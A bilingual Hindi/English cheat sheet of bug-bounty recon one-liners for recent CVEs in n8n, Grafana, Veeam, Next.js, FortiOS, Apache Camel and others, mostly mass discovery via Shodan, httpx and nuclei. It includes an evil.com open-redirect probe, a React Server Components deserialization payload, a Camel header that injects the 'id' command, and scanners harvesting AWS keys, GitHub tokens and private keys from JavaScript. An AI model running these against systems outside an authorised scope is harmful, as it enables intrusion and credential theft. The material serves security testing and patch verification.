💀 Correlate telnet with vulnerable OS (Debian/Ubuntu/Kali)

nmap -p23 -sV -O --script=telnet-encryption -iL telnet_targets.txt -oX telnet_scan.xml && cat telnet_scan.xml | grep -oE "(Debian|Ubuntu|Kali|Linux)" | sort | uniq -c | sort -rn

⚠️ प्रभावित: GNU InetUtils telnetd 1.9.3 - 2.7 (Debian/Ubuntu/Kali/Trisquel) ✅ समाधान: GNU InetUtils 2.8+ पर अपडेट करें या telnetd अक्षम करें और SSH का उपयोग करें

⚡🔥⚡ Ni8mare - CVE-2026-21858 (CVSS 10.0 - गंभीर) ⚡🔥⚡

💀 n8n Workflow Automation में गंभीर अप्रमाणित RCE - 100,000+ सर्वर प्रभावित! CISA KEV में जोड़ा गया 💀

⚡ n8n इंस्टेंस का पता लगाएं (Shodan/Censys)```bash

shodan search "n8n" --fields ip_str,port,hostnames | awk '{print "https://"$1":"$2}' | httpx -silent | anew n8n_targets.txt

⚡ कमजोर वेबहुक एंडपॉइंट्स की जाँच करें```bash

cat n8n_targets.txt | xargs -I@ -P20 sh -c 'curl -s -o /dev/null -w "%{http_code}" -X POST @/webhook-test/test -H "Content-Type: multipart/form-data" 2>/dev/null | grep -qE "^(200|400|500)$" && echo "POTENTIAL: @"' | tee n8n_webhook_check.txt

⚡ सामूहिक n8n संस्करण पहचान```bash

cat n8n_targets.txt | httpx -silent -path /rest/settings -match-regex '"versionCli":"[0-9]+.[0-9]+.[0-9]+"' | anew n8n_versions.txt

⚠️ प्रभावित: n8n < 1.121.0 | ✅ सुधार: n8n 1.121.0+ पर अपडेट करें

⚡🔥⚡ N8n Auth RCE - CVE-2026-21877 (CVSS 10.0 - CRITICAL) ⚡🔥⚡

💀 n8n में Git Node के माध्यम से प्रमाणित RCE - क्लाउड और स्व-होस्टेड प्रभावित! 💀

⚡ Git Node सक्षम इंस्टेंसेस का पता लगाएं```bash

cat n8n_targets.txt | httpx -silent -path /rest/node-types -match-string "git" | anew n8n_git_enabled.txt

⚠️ प्रभावित: n8n < 1.121.3 | ✅ समाधान: n8n 1.121.3+ पर अपडेट करें

⚡🔥⚡ D-Link DSL RCE - CVE-2026-0625 (CVSS 9.3 - गंभीर) ⚡🔥⚡

💀 पुराने D-Link DSL राउटर्स में कमांड इंजेक्शन - सक्रिय शोषण के तहत! 💀

⚡ D-Link DSL राउटर्स के लिए Shodan Dork```bash

shodan search "D-Link DSL" --fields ip_str,port | awk '{print $1":"$2}' | httpx -silent | anew dlink_dsl_targets.txt

⚡ Mass D-Link Fingerprint```bash

cat alive.txt | httpx -silent -match-string "D-Link" -match-string "DSL" -title -tech-detect | anew dlink_routers.txt

⚡ Veeam इंस्टेंसेस को फिंगरप्रिंट करें```bash

cat alive.txt | httpx -silent -match-string "Veeam" -title -tech-detect | grep -i "veeam" | anew veeam_instances.txt

⚡ Grafana संस्करण का पता लगाएं```bash

cat grafana_targets.txt | httpx -silent -path /api/frontend/settings -match-regex '"version":"[0-9]+.[0-9]+.[0-9]+"' | anew grafana_versions.txt

⚡ बड़े पैमाने पर Grafana लॉगिन पृष्ठ का पता लगाना```bash

cat alive.txt | httpx -silent -path /login -match-string "Grafana" -title | anew grafana_logins.txt

⚡ 2. सामूहिक n8n CVE-2026-21858 उपडोमेन पर पता लगाना```bash

subfinder -d target.com -silent | httpx -silent | xargs -I@ -P30 sh -c 'curl -s "@/rest/settings" 2>/dev/null | grep -q "versionCli" && echo "[N8N FOUND] @"' | tee n8n_subs.txt | xargs -I@ nuclei -u @ -t http/cves/2026/CVE-2026-21858.yaml -silent

⚡ 4. Grafana CVE-2025-4123 XSS + Open Redirect Subdomain Hunt```bash

subfinder -d target.com -silent | httpx -silent -path /api/frontend/settings -match-regex '"version":"' | tee grafana_subs.txt | xargs -I@ -P15 sh -c 'curl -sI "@/login?redirect=//evil.com" 2>/dev/null | grep -qi "location.*evil" && echo "[CVE-2025-4123 VULN] @"'

⚡ 6. उपडोमेन n8n Webhook Fingerprint + CVE-2026-21858 जाँच```bash

cat subdomains.txt | httpx -silent | xargs -I@ -P25 sh -c 'for path in /webhook /webhook-test /rest/workflows; do curl -s -o /dev/null -w "%{http_code}" "@$path" 2>/dev/null | grep -qE "^(200|401|403)$" && echo "[N8N ENDPOINT] @$path" && break; done' | anew n8n_webhooks.txt

⚡ 8. Veeam CVE-2025-59470 उपडोमेन पहचान```bash

subfinder -d target.com -silent | httpx -silent -title -tech-detect | grep -i "veeam" | tee veeam_subs.txt | xargs -I@ -P10 sh -c 'curl -s "@/api/v1/version" 2>/dev/null | grep -qE "13.0.[01].[0-9]+" && echo "[CVE-2025-59470 VULN] @"'

⚡ 10. पूर्ण CVE-2026 अन्वेषण स्वचालन स्क्रिप्ट```bash

domain="target.com"; mkdir -p recon_$domain && cd recon_$domain && subfinder -d $domain -silent | httpx -silent -title -tech-detect -json -o httpx_out.json && cat httpx_out.json | jq -r '.url' | nuclei -t ~/nuclei-templates/http/cves/2026/ -c 30 -o cve2026_vulns.txt && echo "[+] Found $(wc -l < cve2026_vulns.txt) CVE-2026 vulnerabilities!"

अधिकतम subdomain coverage के लिए Subfinder + Assetfinder + Amass को जोड़ता है, फिर httpx + technology fingerprinting से सत्यापित करता है

⚡ 2. ASN Enumeration + Reverse DNS Discovery```bash

echo "target.com" | dnsx -silent -resp-only -a | xargs -I{} whois -h whois.cymru.com {} | awk '{print $1}' | grep -E "AS[0-9]+" | xargs -I{} sh -c 'whois -h whois.radb.net -- "-i origin {}" | grep -Eo "([0-9.]+){4}/[0-9]+"' | mapcidr -silent | dnsx -silent -ptr -resp-only | anew asn_discovered_hosts.txt

वेबैक मशीन, कॉमन क्रॉल, एलियनवॉल्ट से समानांतर URL संग्रह + स्मार्ट डिडुप्लीकेशन के साथ सक्रिय क्रॉलिंग

⚡ 4. JavaScript Deep Analysis + Secret Scanner```bash

cat alive.txt | katana -silent -em js,json -jc -d 2 | httpx -silent -mc 200 | tee js_files.txt | xargs -P 20 -I{} sh -c 'curl -sk {} | tee /tmp/js_$$.tmp | grep -oE "(api_key|apikey|api-key|secret|token|password|aws_access|AKIA[0-9A-Z]{16})" && cat /tmp/js_$$.tmp | grep -oE "/(api|v[0-9]|admin|internal)/[a-zA-Z0-9_/?=&-]+" | sort -u' | anew js_secrets_and_endpoints.txt

CT logs enumeration + intelligent permutation (api → api-dev, api-staging) के साथ mass DNS resolution

⚡ 6. Port Discovery + Web Services on Non-Standard Ports```bash

cat subs.txt | naabu -silent -top-ports 1000 -exclude-cdn -c 50 | sed 's/:/ /g' | awk '{print $1":"$2}' | httpx -silent -probe -status-code -title -tech-detect -follow-redirects -random-agent -o ports_with_web_services.txt

गोपनीय जानकारी, क्रेडेंशियल्स और संवेदनशील डेटा एक्सपोज़र के लिए स्वचालित GitHub डॉर्किंग

⚡ 8. क्लाउड स्टोरेज डिस्कवरी (S3 + Azure + GCP)```bash

cat all_urls.txt | grep -oE '(s3.amazonaws.com/[a-zA-Z0-9.-]+|[a-zA-Z0-9.-]+.s3.amazonaws.com|storage.googleapis.com/[a-zA-Z0-9.-]+|[a-zA-Z0-9.-]+.blob.core.windows.net)' | sort -u | tee cloud_buckets.txt | xargs -I{} sh -c 'curl -sI https://{} | grep -q "200|403" && echo "[+] {} - Accessible"'

अद्वितीय पैरामीटर निकालता है और भेद्यता प्रकार (XSS, SSRF, SQLi, Redirect) के अनुसार वर्गीकृत करता है

⚡ 10. निरंतर रिकॉन मॉनिटर (Cron-Ready)```bash

DOMAIN="target.com"; DATE=$(date +%Y%m%d); mkdir -p recon_$DATE; cd recon_$DATE; subfinder -d $DOMAIN -all -silent | anew subs_$DATE.txt; cat subs_$DATE.txt | httpx -silent -threads 200 -o alive_$DATE.txt; cat alive_$DATE.txt | nuclei -t exposures/ -silent -o new_exposures_$DATE.txt; diff ../recon_$(date -d "yesterday" +%Y%m%d)/subs_*.txt subs_$DATE.txt 2>/dev/null | grep ">" | awk '{print $2}' > new_subs_$DATE.txt; [ -s new_subs_$DATE.txt ] && notify -silent -bulk < new_subs_$DATE.txt

Katana के साथ सभी JS फ़ाइलों की खोज करता है, आकार (>500 बाइट्स) के अनुसार फ़िल्टर करता है, ऑफ़लाइन विश्लेषण के लिए डाउनलोड करता है

⚡ 2. JS फ़ाइलों से सभी API एंडपॉइंट निकालें```bash

cat js_files.txt | xargs -P 20 -I{} sh -c 'curl -sk {} 2>/dev/null' | grep -oE '"'"'"'?)['"'"'"]' | sed 's/["'"'"']//g' | sort -u | grep -E "^/" | grep -vE ".(css|png|jpg|svg|gif|woff|ico)$" | anew js_endpoints.txt

AWS Access Key IDs (AKIA, ABIA, ACCA, ASIA पैटर्न) के लिए खोज करता है

⚡ 4. Google API कुंजियाँ + Firebase URLs निकालने वाला```bash

cat js_files.txt | xargs -P 20 -I{} sh -c 'curl -sk {} 2>/dev/null | grep -oE "(AIza[0-9A-Za-z_-]{35}|[a-z0-9-]+.firebaseio.com|[a-z0-9-]+.firebaseapp.com)" && echo "[SOURCE] {}"' | tee google_firebase_keys.txt

JS में S3 बकेट ढूंढता है और एक्सेसिबिलिटी की पुष्टि करता है

⚡ 6. आंतरिक IP पतों का रिसाव```bash

cat js_files.txt | xargs -P 20 -I{} sh -c 'curl -sk {} 2>/dev/null | grep -oE "(10.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}|172.(1[6-9]|2[0-9]|3[01]).[0-9]{1,3}.[0-9]{1,3}|192.168.[0-9]{1,3}.[0-9]{1,3})" && echo "[SOURCE] {}"' | sort -u | tee internal_ips_js.txt

Slack वेबहुक URL और Discord बॉट टोकन निकालता है

⚡ 8. GitHub टोकन + निजी कुंजियों का पता लगाना```bash

cat js_files.txt | xargs -P 20 -I{} sh -c 'curl -sk {} 2>/dev/null | grep -oE "(ghp_[a-zA-Z0-9]{36}|gho_[a-zA-Z0-9]{36}|ghu_[a-zA-Z0-9]{36}|ghs_[a-zA-Z0-9]{36}|ghr_[a-zA-Z0-9]{36}|github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59}|-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----)" && echo "[SOURCE] {}"' | tee github_privkeys_js.txt

ईमेल पतों और JavaScript में संदर्भित छिपे उपडोमेन को निकालता है

⚡ 10. पूर्ण JS Recon Pipeline (All-in-One)```bash

TARGET="target.com"; mkdir -p js_recon_$TARGET && cat alive.txt | katana -silent -em js -jc -d 3 | grep -iE ".js(?|$)" | httpx -silent -mc 200 | anew js_recon_$TARGET/js_urls.txt && cat js_recon_$TARGET/js_urls.txt | xargs -P 30 -I{} sh -c 'curl -sk {} 2>/dev/null | tee -a js_recon_$TARGET/all_js.txt' && grep -oE "(AKIA|ABIA|ACCA|ASIA)[0-9A-Z]{16}" js_recon_$TARGET/all_js.txt > js_recon_$TARGET/aws_keys.txt; grep -oE "AIza[0-9A-Za-z_-]{35}" js_recon_$TARGET/all_js.txt > js_recon_$TARGET/google_keys.txt; grep -oE "ghp_[a-zA-Z0-9]{36}" js_recon_$TARGET/all_js.txt > js_recon_$TARGET/github_tokens.txt; grep -oE '["'"'"']/[a-zA-Z0-9_/-]+["'"'"']' js_recon_$TARGET/all_js.txt | tr -d '"'"'"'' | sort -u > js_recon_$TARGET/endpoints.txt; echo "[+] JS Recon Complete! Check js_recon_$TARGET/"

⚡ जाँचें कि क्या Next-Action Header स्वीकृत है```bash

curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com -H "Next-Action: test" -H "Content-Type: text/plain" --data '0'

⚡ परीक्षण के लिए पेलोड फ़ाइलें बनाएँ```bash

Create payload.json (safe math check - no RCE)

echo '{"then":"$1:proto:then","status":"resolved_model","reason":-1,"value":"{"then":"$B0"}","_response":{"_prefix":"7*7","_formData":{"get":"$1:constructor:constructor"}}}' > payload.json && echo '"$@0"' > trigger.txt

⚡ एक-पंक्ति: पूर्ण पहचान पाइपलाइन```bash

subfinder -d target.com -silent | httpx -silent | while read url; do CODE=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$url" -H "Next-Action: x" -H "Content-Type: text/plain" --data "0" 2>/dev/null); [[ "$CODE" =~ ^(200|400|500)$ ]] && echo "[NEXT-ACTION ACCEPTED] $url - HTTP $CODE"; done | tee nextjs_react2shell.txt

⚡ बड़े पैमाने पर स्कैन httpx + Next-Action Probe के साथ```bash

cat alive.txt | httpx -silent -method POST -H "Next-Action: probe" -mc 200,400,500 -title -tech-detect | grep -i "next" | anew react2shell_potential.txt

⚡ Nuclei टेम्पलेट जाँच```bash

nuclei -l nextjs_targets.txt -t http/cves/2025/CVE-2025-55182.yaml -c 30 -o react2shell_nuclei.txt

⚡ RSC एंडपॉइंट को सीधे जांचें```bash

curl -s -X POST "https://target.com/" -H "Next-Action: whatever" -H "Content-Type: multipart/form-data; boundary=----FormBoundary" --data-binary $'------FormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\ntest\r\n------FormBoundary--' | head -c 500

⚠️ प्रभावित: React 19.0.0-19.2.0, Next.js 15.0.4-16.0.6 | ✅ सुधार: React 19.0.1/19.1.2/19.2.1 पर अपडेट करें

🎯 मुख्य पहचान: Next-Action हेडर + RSC डिसीरियलाइज़ेशन स्वीकार करने वाले ऐप्स = संभावित RCE

🆕 फरवरी 2026 CVE खोज वनलाइनर्स

🔍 फरवरी 2026 से महत्वपूर्ण कमजोरियों का पता लगाने के लिए रिकॉन-केंद्रित वनलाइनर्स

⚠️ नोट: कुछ वनलाइनर्स nuclei-templates पथों का संदर्भ देते हैं जो आपकी स्थानीय प्रतिलिपि में अभी तक मौजूद नहीं हो सकते हैं। पहले nuclei -update-templates चलाएं और चलाने से पहले सुनिश्चित करें कि टेम्पलेट मौजूद है (ls ~/nuclei-templates/...)। आधिकारिक सलाह के विरुद्ध CVE विवरणों की हमेशा पुष्टि करें और अपने अधिकृत दायरे में रहें।

⚡ Cisco Catalyst SD-WAN - CVE-2026-20127 खोज

गंभीर भेद्यता (CVSS 10.0) जो Cisco SD-WAN Manager/Controller में प्रमाणीकरण बाईपास की अनुमति देती है। 2023 से उन्नत खतरे वाले अभिकर्ताओं द्वारा शोषित। महत्वपूर्ण बुनियादी ढांचे की सुरक्षा के लिए कमजोर इंस्टेंस का पता लगाना महत्वपूर्ण है।

1. Shodan के माध्यम से उजागर Cisco SD-WAN Manager/vManage खोजें```bash

shodan search "title:"Cisco vManage" port:8443,443" --fields ip_str,port,org,isp,asn --separator " | " | tee cisco-sdwan-targets.txt

⚡ Gradio Framework - CVE-2026-28414 Path Traversal Discovery

Gradio <6.7 में Windows पर Python 3.13+ के साथ चलने वाले क्रिटिकल पाथ ट्रैवर्सल (CVSS 7.5)। मनमानी फ़ाइल पढ़ने की अनुमति देता है। ML/AI ऐप्स की सुरक्षा के लिए संवेदनशील संस्करणों का पता लगाना महत्वपूर्ण है।

1. संवेदनशील Gradio अनुप्रयोगों की पहचान करें और संस्करण का पता लगाएं```bash

echo "https://target.com" | httpx -silent -tech-detect -json | jq -r 'select(.technologies[]? | select(.name=="Gradio")) | "(.url) - (.technologies[] | select(.name=="Gradio").version // "unknown")"'

⚡ Fortinet FortiOS - CVE-2026-25815 LDAP क्रेडेंशियल्स डिस्कवरी

FortiOS ≤7.6.6 में कमजोर डिफ़ॉल्ट एन्क्रिप्शन कुंजी के कारण LDAP क्रेडेंशियल्स प्रकटीकरण भेद्यता। दिसंबर 2025 से सक्रिय रूप से शोषित। कमजोर संस्करणों की पहचान करना महत्वपूर्ण है।

1. Shodan के माध्यम से संस्करण सहित कमजोर FortiGate/FortiOS की पहचान करें```bash

shodan search "product:FortiOS" --fields ip_str,version,port,org --separator " | " | awk -F'|' '$2 ~ /^[1-6].|7.[0-5].|7.6.[0-6]/ {print $1 " | Version:" $2 " | " $4}' | tee fortios-vulnerable.txt

⚡ Windows Shell - CVE-2026-21510 सुरक्षा बाईपास खोज

SmartScreen/Mark-of-the-Web बाईपास (CVSS 8.8) Windows 10/11 में। दुर्भावनापूर्ण लिंक/शॉर्टकट के माध्यम से कोड निष्पादन की अनुमति देता है। सक्रिय रूप से शोषित जीरो-डे। कमजोर सिस्टम की पहचान करना आवश्यक है।

1. एक्सपोज़्ड विंडोज एंडपॉइंट और कमजोर संस्करणों की एसएमबी के माध्यम से पहचान करें```bash

nmap -p445 --script smb-os-discovery,smb-protocols --open -iL targets.txt -oG - | grep "Windows 10|Windows 11" | awk '{print $2}' | tee windows-vulnerable-hosts.txt

⚡ Chartbrew - CVE-2026-27005 SQL इंजेक्शन खोज

Chartbrew <4.8.3 में महत्वपूर्ण अप्रमाणित SQL इंजेक्शन (CVSS 9.8)। कनेक्टेड MySQL/PostgreSQL में डेटा पढ़ने/संशोधित करने की अनुमति देता है। कमजोर उदाहरणों का पता लगाना तत्काल आवश्यक है।

1. उजागर Chartbrew उदाहरणों की पहचान करें और API के माध्यम से संस्करण जांचें```bash

cat web-apps.txt | httpx -silent -path /api/health -mc 200 -json | jq -r 'select(.body | contains("chartbrew")) | "(.url) - Version: (.body | fromjson | .version // "unknown")"' | tee chartbrew-instances.txt

⚡ Apache Camel - CVE-2026-31650 Header Injection Discovery

Apache Camel <4.9.2 में क्रिटिकल हैडर इंजेक्शन (CVSS 9.1) जो HTTP हैडर हेरफेर (CamelExec*) के माध्यम से फ़िल्टर बाईपास की अनुमति देता है। उजागर कैमल एंडपॉइंट्स का पता लगाना एंटरप्राइज़ इंटीग्रेशन पाइपलाइनों की सुरक्षा करता है।

1. Apache Camel endpoints खोजें और हैडर इंजेक्शन बाईपास का परीक्षण करें```bash

cat urls.txt | httpx -silent -H "CamelExecCommandExecutable: id" -H "CamelExecCommandArgs: -la" -mc 200 -match-string "uid=" | anew camel-header-injection.txt

⚡ GraphQL आत्मनिरीक्षण - CVE-2026-29812 स्कीमा रिसाव खोज

सूचना प्रकटीकरण (CVSS 7.5) उत्पादन में आत्मनिरीक्षण को सक्षम छोड़े जाने के कारण। यह स्कीमा, म्यूटेशन और संवेदनशील प्रकारों का पूर्ण मानचित्रण करने की अनुमति देता है। खुले आत्मनिरीक्षण वाले एंडपॉइंट का पता लगाने से हमले की सतह के मानचित्रण में गति आती है।

1. GraphQL एंडपॉइंट खोजें और सक्षम आत्मनिरीक्षण का पता लगाएं```bash

cat urls.txt | grep -Ei "graphql|/api" | httpx -silent -X POST -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}' -mc 200 -match-string "__schema" | anew graphql-introspection-open.txt